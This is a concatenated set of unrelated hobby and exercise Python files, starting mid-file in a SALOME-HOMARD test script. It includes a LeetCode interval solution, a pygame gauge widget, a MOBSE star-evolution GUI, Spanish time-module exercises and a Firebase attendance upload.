    erreur = iter_3_2_bis.Compute(1, option)
    if erreur :
      break
  #
    break
  #
  if erreur :
    message += "Erreur au calcul de l'itération %d" % erreur
  #
  return erreur, message
#
#==========================  Fin de la fonction ==================================
#
ERREUR = 0
MESSAGE = ""
while not ERREUR :
  #
  # A. Exec of HOMARD-SALOME
  #
  HOMARD = salome.lcc.FindOrLoadComponent('FactoryServer', 'HOMARD')
  assert HOMARD is not None, "Impossible to load homard engine"
  HOMARD.SetLanguageShort("fr")
#
  FICMED = os.path.join(REP_DATA, TEST_NAME+".00.med")
  try:
    ERREUR, MESSAGE = homard_exec("G_0", FICMED, DEBUG)
  except RuntimeError as eee:
    ERREUR = 2
    MESSAGE = str(eee.message)
  #
  if ERREUR :
    MESSAGE += "Pb in homard_exec"
    break
  #
  # B. Test of the results
  #
  N_REP_TEST_FILE = 3
  DESTROY_DIR = not DEBUG
  test_results(REP_DATA, TEST_NAME, DIRCASE, N_ITER_TEST_FILE, N_REP_TEST_FILE, DESTROY_DIR)
  #
  break
#
if ERREUR:
  raise Exception(MESSAGE)
#
if salome.sg.hasDesktop():
  salome.sg.updateObjBrowser()
  iparameters.getSession().restoreVisualState(1)


class Solution:
    def insert(self, intervals: List[List[int]], newInterval: List[int]) -> List[List[int]]:
        N = len(intervals)

        res = []

        # since the input is sorted 1 - we can test ending time is lesser than new interval
        i  = 0
        while i < N and intervals[i][1] < newInterval[0]:
            res.append(intervals[i])
            i += 1

        # now merge overlapping intervals
        while i < N and intervals[i][0] <= newInterval[1]:
            st = min(intervals[i][0],newInterval[0])
            ed = max(intervals[i][1],newInterval[1])
            newInterval = [st,ed]
            i += 1

        res.append(newInterval)

        # push back rest
        while i < N:
            res.append(intervals[i])
            i += 1

        return res


import matplotlib.pyplot as plt
x=[1,2,3,4]
y=[elem * elem * elem for elem in x]

#plt.plot([1,2,3,4],[1,4,9,16],'go',x,y,"r^")
labels=["Squares","Cubes"]
plt.plot(x,[1,4,9,16],label=labels[0])
plt.plot(x,y,label=labels[1])
plt.legend()
plt.show()


import random
import os
os.system('cls')
choices = ["rock","paper","scissors","spock", "lizard"]
cont = 'y'
count = 0
countWin = 0
while cont == 'y':
    count = count + 1
    computerChoice = random.choice(choices)
    playerChoice = input("Player, what's your choice? [ro/pa/sc/sp/li]")

    print(f"Computer choice is: {computerChoice}")
    print(f"Player's' choice is: {playerChoice}")

    if computerChoice[:2] == playerChoice:
        print("Tie.")
    elif ((playerChoice == 'ro' and (computerChoice == 'scissors' or computerChoice == 'lizard'))
        or (playerChoice == 'sc' and (computerChoice == 'paper' or  computerChoice == 'lizard'))
        or (playerChoice == 'pa' and computerChoice == 'rock')
        or (playerChoice == 'li' and (computerChoice == 'paper' or computerChoice == 'spock'))
        or (playerChoice == 'sp' and (computerChoice == 'rock' or  computerChoice == 'scissors' or computerChoice == 'paper'))):
        print("you win!")
        countWin = countWin + 1

    else:
        print("You lost.")
    cont = input("Do you want to keep going? (y/n)")
print(f"Goodbye. You won {countWin} time(s). You played {count} time(s).")


### 05장. 파이썬 날개날기
## 연습문제

## Q9
## 다음과 같이 실행할 때 입력값을 모두 더하여 출력하는 스크립트를 작성해 보자.
import sys

numbers = sys.argv[1:]     # 파일 이름을 제외한 명령 행의 모든 입력

result = 0
for number in numbers:
    result = result + int(number)
print(result)


#!/usr/bin/python3
"""! @brief Implementation of circular Anti-Aliased ("AA") gauges with gradient coloring."""

##
# @file aa_arc_gauge.py
#
# @brief Contains implementation of circular Anti-Aliased ("AA") gauges with gradient coloring.
#

import pygame,sys,time
import pygame.freetype

pygame.init()
import sys
import os
os.environ['PYGAME_FREETYPE'] = '1'
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/freqshow_code')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/assets')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/assets/saved_fonts')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/sensor_pages')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/general_pages')
sys.path.append('/home/pi/Sensor_Scripts/pygame_code/tricorder/resources')

# import pygame.freetype
# from enum import Enum
# from pygame.sprite import Sprite
import pygame.gfxdraw
import pygame.freetype
from colors import WHITE,RED,GREY,BLACK,DARK_GREY,LIGHT_GREY,YELLOW
from global_functions import get_text_dimensions, my_map
from fonts import FONT_DIN, FONT_HELVETICA_NEUE,FONT_FEDERATION
import numpy as np
import logging

# ====================================================== #
HOME_DIR="/home/pi/Sensor_Scripts/pygame_code/tricorder/"
FONTS_DIR=HOME_DIR+"assets/saved_fonts/"

number_keys=[pygame.K_0,pygame.K_1,pygame.K_2,pygame.K_3,pygame.K_4,\
                pygame.K_5,pygame.K_6,pygame.K_7,pygame.K_8,pygame.K_9]

# ---- arc parameters ---- #
# radius=35
# offset=75
# RAD_CONSTANT=0.0174533

## Pi/2 in radians
RAD_CONSTANT=0.0175

class AA_Gauge():
    """! Generic class for an anti-aliased circular gauge with gradient coloring.

    @section Description
    Defines the base class utilized by all pages.

    @section Main Components
    - Radius
    - Range: min and max vals
    --autolims
    - Arc color
    - Background arc color
    - Weight
    - Title
    - Font: type, size, color
    """
    def __init__(self,
        screen,
        curr_val=None,
        in_min=0,
        in_max=100,
        radius=30,
        origin=(50,50),
        weight=3,
        color=RED,
        empty_arc_color=GREY,
        CURR_FONT=FONT_HELVETICA_NEUE,
        main_font_size=28,
        FONT_COLOR=WHITE,
        solid_bg_color=BLACK,
        range_color=DARK_GREY,
        range_font=FONT_HELVETICA_NEUE,
        range_font_size=24,
        suffix='',
        print_num=True,
        solid_bg=False,
        draw_empty_arc=True,
        print_range=True,
        print_title=True,
        title='',
        title_font_size=18,
        title_font=FONT_FEDERATION,
        title_font_color=LIGHT_GREY,
        auto_lims=True,
        offset=45):
        '''! Constructor'''

        ## Pygame main screen/display object
        self.screen=screen
        ## Value to display
        self.curr_val=curr_val
        ## Min possible input value
        self.in_min=in_min
        ## Max possible input value
        self.in_max=in_max
        ## Gauge thickness
        self.weight=weight
        ## Determines the bottom clipping angle
        self.offset=offset
        self.init_radius(radius)
        ## Outer radius
        self.gauge_radius=self.radius
        self.init_origin()
        self.update_boundries()

        ## Default foreground color is red.
        self.color=color
        ## Default foreground color is grey.
        self.empty_arc_color=empty_arc_color
        ## To show/hide suffix for main number display.
        self.suffix=suffix
        ## Show hide main number display.
        self.print_num=print_num
        ## Default background is transparent.
        self.solid_bg=solid_bg
        ## Empty arc is drawn by default.
        self.draw_empty_arc=draw_empty_arc
        ## Default font is HELVETICA_NEUE.
        self.CURR_FONT=CURR_FONT
        ## Font size for main numver display.
        self.main_font_size=main_font_size
        ## Default font color is white.
        self.FONT_COLOR=FONT_COLOR
        ## Default solid bg color is black.
        self.solid_bg_color=solid_bg_color
        ## Determines if range is printed. Default value is True.
        self.print_range=print_range
        ## Font for rendering range values. Default value is HELVETICA_NEUE.
        self.range_font=range_font
        ## Font size for rendering range values. Default size is 24.
        self.range_font_size=range_font_size
        ## Color for range font. Default color is DARK_GREY.
        self.range_color=range_color
        ## Print title or not. Default is True.
        self.print_title=print_title
        ## Title for gauge.
        self.title=title
        ## Default font size for title is 18.
        self.title_font_size=title_font_size
        ## Default title font is FONT_FEDERATION.
        self.title_font=title_font
        ## Default title color is LIGHT_GREY.
        self.title_font_color=title_font_color
        ## To adjust gauge limits automatically. Default is True.
        self.auto_lims=auto_lims

    def init_origin(self):
        '''! Calculates origin (x,y) for gauge.'''
        ## Adjusted x-origin for gauge, accounting for radius and weight.
        self.origin_x=self.radius+self.weight
        ## Adjusted y-origin for gauge, accounting for radius and weight.
        self.origin_y=self.radius+self.weight
        ## Adjusted origin for gauge, accounting for radius and weight.
        self.origin= (self.origin_x,self.origin_y)

    def init_radius(self,new_radius):
        '''! Saves radius and diameter for faster execution.'''
        ## Gauge radius (outer)
        self.radius=new_radius
        ## Gauge diameter (outer)
        self.d=self.radius*2
        # self.weight=self.gauge_radius//self.weight_ratio

    def update_boundries(self):
        '''! Calculates bounding rectabgle.'''
        ## Gauge thickness
        w=self.weight
        r=self.radius
        d=self.d-1
        x=self.origin_x
        y=self.origin_y
        j=(2*self.offset/360)*(r+w)
        # self.bounding_rect=[(x-(r+w//2)),(y-(r+w//2)),(d+w//2),(d+w//2)]
        self.bounding_rect=[0,0,(d+w*2),(d+w*2)]

    def adjust_gauge_lims(self):
        '''! Sets min/max limits to nearest round numbers.'''
        lower_lims=[0,0.1,1,10,100,1000,10000,100000]
        upper_lims=[0.1,1,10,100,1000,10000,100000,1000000]
        for low,up in zip(lower_lims,upper_lims):
            if low<=self.curr_val<up:
                self.in_max=up

    def update_val(self,new_val):
        '''! Uodate current value.'''
        self.curr_val=new_val
        if self.auto_lims:
            self.adjust_gauge_lims()

    def blit_gauge(self,new_val,print_val=None):
        '''! Render and return gauge as surface.'''
        try:
            # ----------------- arc params ----------------- #
            radius=self.radius
            # j=int((self.offset/360)*(radius))
            size=((self.d+self.weight),(self.d+self.weight*2))
            surf = pygame.Surface(size)
            # surf.fill(BLUE)
            # ----------------- draw background ----------------- #
            if (self.solid_bg):
                pygame.draw.rect(surf, self.solid_bg_color, self.bounding_rect)
                surf.fill(self.solid_bg_color)

            # ------------- Empty Arc Params ------------- #
            # draw empty arc
            # arc(surface, x, y, r, start_angle, stop_angle, color)

            x=size[0]//2
            y=size[1]//2-self.weight//2
            start_angle=(180-self.offset)
            end_angle=(360+self.offset)

            # rangee=np.linspace(0,255,self.weight//2)

            empty_radius_range=range(radius-self.weight//4,radius+self.weight//4)
            radius_range=range(radius-self.weight//2,radius+self.weight//2)

           # ------------- Draw Arc ------------- #
            if new_val is not None:
                try:
                    new_val=float(new_val)
                except Exception as e:
                    new_val=-2
                    print ('aa_arc_gauge: ',e)

                if print_val!=None:
                    orig=print_val
                else:
                    orig=round(new_val,2)

                # print ('new_val: ',new_val)
                # print(type(new_val))
                self.update_val(new_val)
                curr_val_scaled=my_map(self.curr_val,self.in_min,self.in_max,start_angle,end_angle)

                # --- draw empty arc --- #
                if (self.draw_empty_arc):
                    for curr_r in empty_radius_range:
                        try:
                            pygame.gfxdraw.arc(surf, x,y, curr_r,int(round(curr_val_scaled,2)), end_angle, self.empty_arc_color)
                        except OverflowError as e:
                            print (e)
                            print (curr_val_scaled)
                        except ValueError as e:
                            print (e)
                            print (curr_val_scaled)

                jj=np.linspace(start_angle, curr_val_scaled, 255)
                alpha_vals=np.linspace(20,255,len(jj))

                try:
                    arc_angles=[]
                    if (len(jj)>2):
                        for index in range((len(jj)-1)):
                            start_ang=int(jj[index])
                            end_ang=int(jj[index+1])
                            ccooll=(self.color[0], self.color[1], self.color[2], int(alpha_vals[index+1]))
                            arc_angles.append([start_ang,end_ang,ccooll])
                except Exception as e:
                    print (e)
                    print (curr_val_scaled)

                for item in arc_angles:
                    s=item[0]
                    e=item[1]
                    c=item[2]
                    for curr_r in radius_range:
                        try:
                            pygame.gfxdraw.arc(surf, x, y , curr_r,s, e, c)
                        except OverflowError as o:
                            print (o)
                            print (curr_val_scaled)

            # ------------- Print Range ------------- #
            if (self.print_range):
                r_div_2=radius//2
                range_y_pos=(radius*2+self.weight//2)

                txt_surf,w,h=get_text_dimensions(f'{self.in_min:,}',font_style=self.range_font,font_color=self.range_color,style=0,font_size=self.range_font_size)
                surf.blit(txt_surf,(10,range_y_pos-h))

                txt_surf,w,h=get_text_dimensions(f'{self.in_max:,}',font_style=self.range_font,font_color=self.range_color,style=0,font_size=self.range_font_size)
                surf.blit(txt_surf,(int(size[0]-self.weight-w),range_y_pos-h))

            # ------------- Print Curr Value

            if (self.print_num):
                if len(str(orig).split('.'))>1:
                    t0=str(orig).split('.')[0]
                    t1=str(orig).split('.')[1]
                    if t1=='0':
                        t1=''
                    else:
                        t1='.'+t1
                else:
                    t0=orig
                    t1=''

                curr_val_surf,w,h=get_text_dimensions(text="{}".format(t0),font_style=self.CURR_FONT,font_color=WHITE,style=0,font_size=self.main_font_size)
                decimal_surf,w2,h2=get_text_dimensions(text=f'{t1}',font_style=self.CURR_FONT,font_color=WHITE,style=0,font_size=self.main_font_size//2-1)
                suffix_surf,w3,h3=get_text_dimensions(text="{}".format(self.suffix),font_style=self.CURR_FONT,font_color=WHITE,style=0,font_size=self.main_font_size//2-1)

                total_len=w+max(w2,w3)

                if t1=='':
                    h_correction= -h3
                else:
                    h_correction=0

                curr_x=self.bounding_rect[0]+radius+self.weight//2-total_len//2
                curr_y=self.bounding_rect[1]+radius+self.weight//2-h//2
                surf.blit(curr_val_surf,(curr_x,curr_y))

                space=5

                surf.blit(decimal_surf,(curr_x+w+space,self.bounding_rect[1]+radius+self.weight//2-h//2))

                surf.blit(suffix_surf,(curr_x+w+space,self.bounding_rect[1]+radius+self.weight//2-h//2+h2+1+h_correction))

            # ------------- Print Title
            if (self.print_title) and self.title!='':
                # self.title='VIS'
                txt_surf,w,h=get_text_dimensions(text=self.title,font_style=self.title_font,font_color=self.title_font_color,style=1,font_size=self.title_font_size)
                surf.blit(txt_surf,(self.bounding_rect[0]+radius+self.weight//2-w//2,self.bounding_rect[1]+r_div_2+self.weight//2-h//2))
        except Exception as e:
            # raise (e)
            logging.error (e)
            surf = pygame.Surface(size)
            txt_surf,w,h=get_text_dimensions(text="XX",font_style=self.title_font,font_color=self.title_font_color,style=1,font_size=self.title_font_size)
            surf.blit(txt_surf,(self.bounding_rect[0]+radius+self.weight//2-w//2,self.bounding_rect[1]+(radius//2)+self.weight//2-h//2))

        return surf

def fps_manager(clock,screen,fps_array):
    '''! For testing performance (not used in normal execcution).'''
    curr_fps=round(clock.get_fps(),2)

    if curr_fps>0:
        fps_array=np.append(fps_array,curr_fps)

    if (3<curr_fps<70):
        fps_txt=FONT_20.render("{} fps".format(curr_fps), 1, WHITE)
        _,_,w,h=fps_txt.get_bounding_rect()
        screen.blit(fps_txt,((screen_w//2-w//2,1)))

    try:
        minn=round(np.min(fps_array),2)
        maxx=round(np.max(fps_array),2)
        avg=round(np.mean(fps_array),2)
        median=round(np.median(fps_array),2)
        total=len(fps_array)

        fps_txt=FONT_20.render("min:{}  max:{}  avg:{}  median:{} total:{}".format(minn,maxx,avg,median,total), 1, WHITE)
        _,_,w,h=fps_txt.get_bounding_rect()
        screen.blit(fps_txt,(3,screen_h-2*h))
    except:
        pass

    return fps_array

def handle_events():
    '''! For testing (not used in normal execcution).'''
    for event in pygame.event.get():
        if event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and (event.key == pygame.K_ESCAPE or event.key==ord('q'))):
            pygame.quit()
            sys.exit()

# if __name__ == '__main__':

#     # pygame initialization
#     screen_w=400
#     screen_h=400
#     pygame.init()
#     screen = pygame.display.set_mode((screen_w, screen_h),pygame.RESIZABLE | pygame.HWSURFACE | pygame.DOUBLEBUF | pygame.ASYNCBLIT)
#     clock = pygame.time.Clock()

#     # gauge-related variables
#     origin=(screen_w//2,screen_h//2)
#     in_min=1
#     in_max=10

#     padding_x=0 # padding between actual bounding rect and final rect
#     padding_y=0

#     color_list=[RED,
#                 DARK_RED,
#                 YELLOW,
#                 DARK_YELLOW,
#                 ORANGE,
#                 GREEN,
#                 BLUE,
#                 GRID_BLUE,
#                 BLUE_GREY,
#                 MISTY_BLUE,
#                 PURPLE,
#                 VIOLET,
#                 CREAM]

#     color_names_list=['RED',
#                         'DARK_RED',
#                         'YELLOW',
#                         'DARK_YELLOW',
#                         'ORANGE',
#                         'GREEN',
#                         'BLUE',
#                         'GRID_BLUE',
#                         'BLUE_GREY',
#                         'MISTY_BLUE',
#                         'PURPLE',
#                         'VIOLET',
#                         'CREAM']

#     color_txt=FONT_20.render('{}'.format(color_list[0]),1,WHITE)

#     # other variables
#     max_fps=0
#     min_fps=100000
#     downcount=False
#     fps_array=np.array([])

#     # init the gauge
#     G=AA_Gauge(screen,0,radius=100,weight=8,in_max=in_max,print_num=True,solid_bg=False,solid_bg_color=YELLOW,color=RED,draw_empty_arc=True,empty_arc_color=(96,96,96,120),origin=origin,suffix='Lux',main_font_size=50)

#     while 1:
#         # determine range
#         if downcount:
#             my_range=reversed(range(in_min,in_max+1))
#         else:
#             my_range=range(in_min,in_max+1)

#         for curr_val in my_range:
#             curr_val+=1/curr_val
#             # print (curr_val)
#             clock.tick()
#             screen.fill(BLACK)
#             handle_events()

#             gauge_img=G.blit_gauge(curr_val)

#             bounding_rect=gauge_img.get_bounding_rect()
#             # print (j)

#             pos=(screen_w//4-G.radius//2,screen_h//4-G.radius//2)

#             screen.blit(gauge_img,pos)

#             left=pos[0]-padding_x
#             top=pos[1]-padding_y
#             width=bounding_rect[2]+2*padding_x
#             height=bounding_rect[3]+2*padding_y
#             rekt=[left,top,width,height]

#             pygame.gfxdraw.rectangle(screen, rekt, WHITE)

#             if (curr_val%25==0):
#                 my_color=curr_val%len(color_list)
#                 G.color=color_list[my_color]
#                 # print ('my_color: ',my_color,color_names_list[my_color])
#                 color_txt=FONT_36.render('{}'.format(color_names_list[my_color]),1,WHITE)

#             screen.blit(color_txt,(3,screen_h-100))

#             fps_array=fps_manager(clock,screen,fps_array)
#             pygame.display.update()
#             time.sleep(1)

#         downcount=not downcount
#         time.sleep(2)

#     pygame.quit()
#     exit()


#Practice set Q2
#Author: Prakash

import os

l1 = ["Prakash", "Sagar", "Deepak", "Akash", "Prince"]

for name in l1:
    if (name.startswith("P")): #for startswith is a function of list
        print(f"Hello {name}, Have a good day.")


#!/usr/bin/env python
'''
           _/  _/
╔═╗╦ ╦╦   _/  _/    ╔╦╗╔═╗╔╗ ╔═╗╔═╗
║ ╦║ ║║  _/_/_/_/   ║║║║ ║╠╩╗╚═╗║╣
╚═╝╚═╝╩     _/      ╩ ╩╚═╝╚═╝╚═╝╚═╝
           _/

Graphic Interface to evolve single system with MOBSE (by using the public version).
It's based on PySimpleGUI (https://pypi.org/project/PySimpleGUI/).
Author: N. Giacobbo
Year: Jan 2021
'''
# Modules for setting the GUI
import PySimpleGUI as sg
import base64
import os.path
print(sg) # useful to check what PySimpleGUI you are using
from matplotlib.backends.backend_tkagg import FigureCanvasAgg
import matplotlib
matplotlib.use('TkAgg')
import PIL
# Modules for showing the logo in the window
from PIL import Image, ImageTk
import io
# Modules to compile and run MOBSE
from matplotlib.ticker import NullFormatter  # useful for `logit` scale
import matplotlib.pyplot as plt
import numpy as np
import fileinput # to replace string in a file
import sys
import subprocess # to run bash commands
import pandas

# ----------------------------------- Beginning of the setting funs ------------------------
def replace_input(element, value, file):
    '''
    Replace the element's value contained in file
    '''
    print(value,element)
    for line in fileinput.input(file, inplace=True):
        if line.strip().startswith(element):
            # the the space at the beginning are necessary in Fortran
            line = '      ' + element + ' = ' + str(value) + '\n'
        sys.stdout.write(line)

def compile_and_run(compile=False):
    # Check the prence of the mobse's folder
    if not os.path.exists('mobse'):
            print('Warning: you have to download MOBSE!')
            #subprocess.run(['python','tools/download.py'])
    subprocess.run(['make','clean'])
    subprocess.run(['make','mobseGUI'])
    subprocess.run(['./mobseGUI.x'])

def plot_mass_evolution(filename='output/mobse_long.out'):
    fig = matplotlib.figure.Figure(figsize=(8, 7), dpi=200)
    data = pandas.read_csv(filename, delimiter='\s+', header=0)
    ax = fig.add_subplot(111)
    ax.plot(data['time'], data['m1'], lw=2, c='forestgreen', label='$M_1$')
    ax.plot(data['time'], data['m2'], lw=2, c='deepskyblue', label='$M_2$')
    ax.set_xlabel('$t$ [Myr]')
    ax.set_ylabel('$m$ [M$_\odot$]')
    ax.set_xscale('log')
    # right y-axis
    axr = ax.twinx()
    axr.plot(data['time'], data['sep'], ls='--', lw=1.5, c='k', label='separation')
    axr.plot(data['time'], data['logR1'], ls='--', lw=1, c='forestgreen', label='$R_1$')
    axr.plot(data['time'], data['logR2'], ls='--', lw=1, c='deepskyblue', label='$R_2$')
    axr.set_ylabel('[R$_\odot$]')
    axr.set_yscale('log')
    ax.legend(loc='upper right',frameon=False)
    axr.legend(loc='upper center', frameon=False)
    #print(data.columns)
    return fig
# ------------------------------ Beginning of Matplotlib helper codes ----------------------
def draw_figure(canvas, figure):
    figure_canvas_agg = FigureCanvasTkAgg(figure, canvas)
    figure_canvas_agg.draw()
    figure_canvas_agg.get_tk_widget().pack(side='top', fill='both', expand=1)
    return figure_canvas_agg

def delete_graph(figure_agg):
    figure_agg.get_tk_widget().forget()
    plt.close('all')

# From a demo in the PySimpleGUI'repo
def figure_to_image(figure):
    '''
    Draws the previously created "figure" in the supplied Image Element
    :param element: an Image Element
    :param figure: a Matplotlib figure
    :return: The figure canvas
    '''
    plt.close('all')        # erases previously drawn plots
    canv = FigureCanvasAgg(figure)
    buf = io.BytesIO()
    canv.print_figure(buf, format='png')
    if buf is None:
        return None
    buf.seek(0)
    return buf.read()

# From a demo in the PySimpleGUI'repo
def convert_to_bytes(file_or_bytes, resize=None):
    '''
    Will convert into bytes and optionally resize an image that is a file or a base64 bytes object.
    Turns into  PNG format in the process so that can be displayed by tkinter
    :param file_or_bytes: either a string filename or a bytes base64 image object
    :type file_or_bytes:  (Union[str, bytes])
    :param resize:  optional new size
    :type resize: (Tuple[int, int] or None)
    :return: (bytes) a byte-string object
    :rtype: (bytes)
    '''
    if isinstance(file_or_bytes, str):
        img = PIL.Image.open(file_or_bytes)
    else:
        try:
            img = PIL.Image.open(io.BytesIO(base64.b64decode(file_or_bytes)))
        except Exception as e:
            dataBytesIO = io.BytesIO(file_or_bytes)
            img = PIL.Image.open(dataBytesIO)

    cur_width, cur_height = img.size
    if resize:
        new_width, new_height = resize
        scale = min(new_height/cur_height, new_width/cur_width)
        img = img.resize((int(cur_width*scale), int(cur_height*scale)), PIL.Image.ANTIALIAS)
    with io.BytesIO() as bio:
        img.save(bio, format="PNG")
        del img
        return bio.getvalue()

# ------------------------------------ Beginning of GUI code -------------------------------
# Define the MyNewTheme
sg.LOOK_AND_FEEL_TABLE['MyNewTheme'] = {'BACKGROUND': '#F48810',
                                        'TEXT': '#FFFFFF',
                                        'INPUT': '#F7E700',
                                        'TEXT_INPUT': '#000000',
                                        'SCROLL': '#c7e78b',
                                        'BUTTON': ('white', '#F43410'),
                                        'PROGRESS': ('#01826B', '#D0D0D0'),
                                        'BORDER': 2, 'SLIDER_DEPTH': 1, 'PROGRESS_DEPTH': 1,
                                        }
# Switch to use your newly created theme
sg.theme('MyNewTheme')

# Transform png in base64. It will appear as logo of the app
with open("pics/logo_mobse.png", "rb") as img:
    my_icon = base64.b64encode(img.read())
sg.SetOptions(icon=my_icon)

# Transform png in base64. It will appear as logo in the app
with open("pics/logo_mobse_small.png", "rb") as img:
    my_icon_small = img.read()

# Set first column: INPUTS
column_inputs = [
    [sg.Text('', size=(7,1)), sg.Image(data=my_icon_small, key='__IMAGE__', size=(120, 100))],
    [sg.Text('_'  * 130, size=(30, 1))],
    [sg.Text('Initial conditions:', justification='center', font=('Arial', 16), size=(20, 1))],
    [sg.Text('M1 [Msun] =', size=(10, 1)), sg.Input(key='m1', default_text=20., size=(10,1))],
    [sg.Text('M2 [Msun] =', size=(10, 1)), sg.Input(key='m2', default_text=10., size=(10,1))],
    [sg.Text('ecc =', size=(10, 1)), sg.Input(key='ecc', default_text=0.1, size=(10,1))],
    [sg.Text('P [day] =', size=(10, 1)), sg.Input(key='tb', default_text=1000., size=(10,1))],
    [sg.Text('Z =', size=(10, 1)), sg.Input(key='z', default_text=0.02, size=(10,1))],
    [sg.Text('_'  * 130, size=(30, 1))],
    [sg.Text('Parameters:', justification='center', font=('Arial', 16), size=(20, 1))],
    [sg.Text('alpha =', size=(10, 1)), sg.Input(key='alpha1', default_text=5., size=(10,1))],
    [sg.Text('lambda =', size=(10, 1)), sg.Input(key='lambda', default_text=0.1, size=(10,1))],
    [sg.Text('SN =', size=(10, 1)), sg.Input(key='nsflag', default_text=3, size=(10,1))],
    [sg.Text('kick =', size=(10, 1)), sg.Input(key='bhflag', default_text=3., size=(10,1))],
    [sg.Text('_'  * 100, size=(25, 1))],
    [sg.Button('Update'), sg.Button('Run'), sg.Button('Plot'), sg.Button('Exit')]
]
# Set second column: PLOTS
column_plots = [
    [sg.Image(k=(0,0))]
]
# define figure size
figure_w, figure_h = 520, 520

# Full layout
layout = [[sg.Column(column_inputs), sg.VSeparator(), sg.Column(column_plots)]]

# Create window and show it without the plot
window = sg.Window('Evolve sinlge binaries with MOBSE', layout)

# List of input and parameters
params = ['alpha1','lambda','nsflag','bhflag']
ini_conds = ['m1','m2','ecc','tb','z']

while True:  # Event Loop
    event, values = window.read()

    if event == sg.WIN_CLOSED or event == 'Exit':
        break
    elif event == 'Update':
        # Update input files
        for i in ini_conds:
            print(values[i])
            replace_input(i, values[i], 'input/binary.h')
        for i in params:
            print(values[i])
            replace_input(i,values[i], 'input/parameters.h')
    elif event == 'Run':
        # Run MOBSE
        compile_and_run()
    if event == 'Plot':
            fig = plot_mass_evolution()
            image = figure_to_image(fig)
            image = convert_to_bytes(image, (figure_w, figure_h))
            window[(0,0)].update(data=image)
#    if event == 'Plot':
# Plot the mass evolution from mobse.out
window.close()


# Ejercicios prácticos con el módulo time (nivel difícil)
# 1 Escribe una función que tome como entrada una fecha en formato dd/mm/aaaa y calcule el día de la semana correspondiente (por ejemplo, "lunes", "martes", etc.) utilizando el módulo time.

print("<--------Ejercicio1-------->")
def dia_semana(fecha):
    import time
    fecha = time.strptime(fecha, "%d/%m/%Y")
    dias = ["lunes", "martes", "miércoles", "jueves", "viernes", "sábado", "domingo"]
    return dias[fecha.tm_wday]

print(dia_semana("01/01/2020"))
print(dia_semana("02/01/2020"))

# 2 Escribe una función que tome como entrada una fecha en formato dd/mm/aaaa y calcule el número de días que han pasado desde esa fecha hasta la fecha actual.

print("<--------Ejercicio2-------->")
def dias_pasados(fecha):
    import time
    fecha = time.strptime(fecha, "%d/%m/%Y")
    fecha_actual = time.localtime()
    return (time.mktime(fecha_actual) - time.mktime(fecha)) // 86400

print(dias_pasados("01/01/2020"))
print(dias_pasados("02/01/2020"))

# 3 Escribe una función que tome como entrada una fecha en formato dd/mm/aaaa y calcule el número de segundos que han pasado desde esa fecha hasta la fecha actual.

print("<--------Ejercicio3-------->")
def segundos_pasados(fecha):
    import time
    fecha = time.strptime(fecha, "%d/%m/%Y")
    fecha_actual = time.localtime()
    return time.mktime(fecha_actual) - time.mktime(fecha)

print(segundos_pasados("01/01/2020"))
print(segundos_pasados("02/01/2020"))

print("<--------EjemploPythonTime-------->")

import time

# Obtener el tiempo actual en segundos desde la época de Unix
tiempo_actual = time.time()
print(f"Tiempo actual en segundos desde la época de Unix: {tiempo_actual}")

# Esperar 2 segundos
print("Esperando 2 segundos...")
time.sleep(2)
print("¡Listo!")

# Convertir el tiempo actual en UTC
tiempo_utc = time.gmtime(tiempo_actual)
print(f"Tiempo actual en UTC: {time.strftime('%Y-%m-%d %H:%M:%S', tiempo_utc)}")

# Convertir el tiempo actual en la zona horaria local
tiempo_local = time.localtime(tiempo_actual)
print(f"Tiempo actual en la zona horaria local: {time.strftime('%Y-%m-%d %H:%M:%S', tiempo_local)}")
print(tiempo_local)

print("<--------OtrosEjerciciosTime-------->")
# Ejercicios prácticos con el módulo time
# Fácil: Escribe un programa que muestre la fecha y hora actual en el siguiente formato: dd/mm/aaaa hh:mm:ss.

def fecha_hora():
    import time
    fecha = time.localtime()
    return time.strftime("%d/%m/%Y %H:%M:%S", fecha)

print(fecha_hora())

# Intermedio: Escribe una función que tome como entrada dos fechas en formato dd/mm/aaaa y calcule la cantidad de días transcurridos entre ambas fechas.

def fechas(fecha1, fecha2):
    import time
    fecha1 = time.strptime(fecha1, "%d/%m/%Y")
    fecha2 = time.strptime(fecha2, "%d/%m/%Y")
    return (time.mktime(fecha2) - time.mktime(fecha1)) // 86400

print(fechas("01/01/2020", "30/10/2020"))

# Difícil: Escribe una función que tome como entrada una lista de fechas en formato dd/mm/aaaa y devuelva la fecha que ocurrió con mayor frecuencia. Si hay varias fechas que ocurren con la misma frecuencia máxima, devuelve la fecha más reciente.

def fecha_mas_frecuente(lista_fechas):
    import time
    fechas = {}
    for fecha in lista_fechas:
        fecha = time.strptime(fecha, "%d/%m/%Y")
        if fecha in fechas:
            fechas[fecha] += 1
        else:
            fechas[fecha] = 1
    return max(fechas, key=fechas.get)

print(f"Fecha mas frecuente convertida a UTC: {time.strftime('%Y-%m-%d %H:%M:%S', fecha_mas_frecuente(['01/01/2020', '01/01/2020', '01/01/2020', '02/01/2020', '02/01/2020', '03/01/2020']))}")


import firebase_admin
from firebase_admin import credentials
from firebase_admin import db

cred = credentials.Certificate("serviceAccountKey.json")
firebase_admin.initialize_app(cred, {
    'databaseURL': "https://faceattendancerealtimerecog-default-rtdb.firebaseio.com/"
})

# Will create Students Directory reference in RealTime DB
ref = db.reference('Students')

data = {
    "2001":
        {
            "name": "Bill Gates",
            "major": "Computers",
            "starting_year": 1990,
            "total_attendance": 6,
            "standing": "G",
            "year": 4,
            "last_attendance_time": "2023-01-05 22:09:00"
        },
    "2002":
        {
            "name": "Steve Jobs",
            "major": "Marketing",
            "starting_year": 1989,
            "total_attendance": 10,
            "standing": "G",
            "year": 2,
            "last_attendance_time": "2023-01-05 22:09:00"
        },
    "2003":
        {
            "name": "Mark Zuckerberg",
            "major": "Technology",
            "starting_year": 2002,
            "total_attendance": 2,
            "standing": "G",
            "year": 4,
            "last_attendance_time": "2023-01-05 22:09:00"
        },
    "2008":
        {
            "name": "Bharat Upadhyay",
            "major": "CS",
            "starting_year": 2020,
            "total_attendance": 15,
            "standing": "G",
            "year": 3,
            "last_attendance_time": "2023-01-05 22:09:00"
        }
}

for key, value in data.items():
    ref.child(key).set(value)


import pika

